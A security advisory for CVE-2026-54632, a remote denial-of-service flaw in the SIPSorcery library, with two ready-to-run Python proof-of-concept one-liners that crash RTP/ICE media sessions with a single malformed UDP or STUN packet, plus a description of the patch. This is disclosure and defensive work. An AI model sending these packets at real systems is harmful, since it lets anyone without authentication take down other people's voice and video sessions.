high · 7.5CVE-2026-54632Jul 28, 2026

CVE-2026-54632: SIPSorcery Remote DoS via Malformed UDP Packet on RTP/ICE Socket

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Sending a single tiny malformed UDP packet to the RTP/ICE port of a SIPSorcery media session can crash that session remotely, with no authentication required.

PackageSIPSorcery
Ecosystemnuget
Affected<= 10.0.8
Fixed in10.0.9
CVE-2026-54632: SIPSorcery Remote DoS via Malformed UDP Packet on RTP/ICE Socket

The problem

SIPSorcery <= 10.0.8 has two missing length checks on the RTP/ICE socket. RTPChannel.OnRTPPacketReceived reads packet[1] after only confirming the packet is non-empty, so a 1-byte datagram throws IndexOutOfRangeException. STUNAttribute.ParseMessageAttributes passes zero-length or null values to the STUNXORAddressAttribute constructor, which then reads attributeValue[1] and calls AsSpan(2) and AsSpan(4) unconditionally, throwing NullReferenceException or ArgumentOutOfRangeException.

Both paths share a fatal amplifier: UdpReceiver.EndReceiveFrom wrapped all exceptions in a catch-all that called Close(), tearing down the entire channel. One small, unauthenticated packet therefore ends the media session. This is reachable before any DTLS handshake or STUN MESSAGE-INTEGRITY check, because ICE connectivity checks happen earlier.

Proof of concept

A working proof-of-concept for CVE-2026-54632 in SIPSorcery, with the exact payload below.

python
# Trigger 1: single-byte RTP datagram kills the channel
# Send one byte (0x80) to the RTP/ICE UDP port
python3 -c "
import socket, sys
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(b'\x80', (sys.argv[1], int(sys.argv[2])))
" <target-ip> <rtp-port>

# Trigger 2: STUN Binding Request with XOR-MAPPED-ADDRESS length=0
# 20-byte STUN header (Binding Request, magic cookie, zeroed txid)
# + 4-byte attribute TLV: type=0x0020 (XOR-MAPPED-ADDRESS), length=0x0000
python3 -c "
import socket, sys, struct
# STUN Binding Request header
msg_type   = 0x0001          # Binding Request
msg_len    = 4               # one attribute, 4 bytes (TLV, no value)
magic      = 0x2112A442
txid       = b'\x00' * 12
header     = struct.pack('!HHI', msg_type, msg_len, magic) + txid
# XOR-MAPPED-ADDRESS attribute, value length = 0
attr       = struct.pack('!HH', 0x0020, 0x0000)
pkt        = header + attr
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(pkt, (sys.argv[1], int(sys.argv[2])))
" <target-ip> <rtp-port>

Both triggers work because the code indexed into untrusted byte arrays without verifying length first. The 1-byte packet triggers packet[1] in OnRTPPacketReceived; the zero-length STUN attribute triggers array access in STUNXORAddressAttribute on a null or empty value byte array.

Alone, each bug would be a local crash, but UdpReceiver.EndReceiveFrom converted any uncaught exception from anywhere in the packet pipeline into a Close() call, making both remotely exploitable with a single datagram (CWE-20, CWE-755). The patch breaks this chain at both ends: the receive loop now logs and drops the bad packet and re-arms instead of closing, and the parsing code validates lengths before indexing.

The fix

Upgrade to SIPSorcery 10.0.9 on NuGet. The patch adds a RTPHeader.MIN_HEADER_LEN guard in OnRTPPacketReceived, adds per-attribute length validation in ParseMessageAttributes, adds defensive length checks in the STUNXORAddressAttribute and STUNAddressAttribute constructors, and changes UdpReceiver.EndReceiveFrom to log-and-continue on non-socket exceptions instead of calling Close().

No configuration workaround exists in earlier versions.

Reported by Lokhesh Ujhoodha.

References: [1][2][3][4]

Related research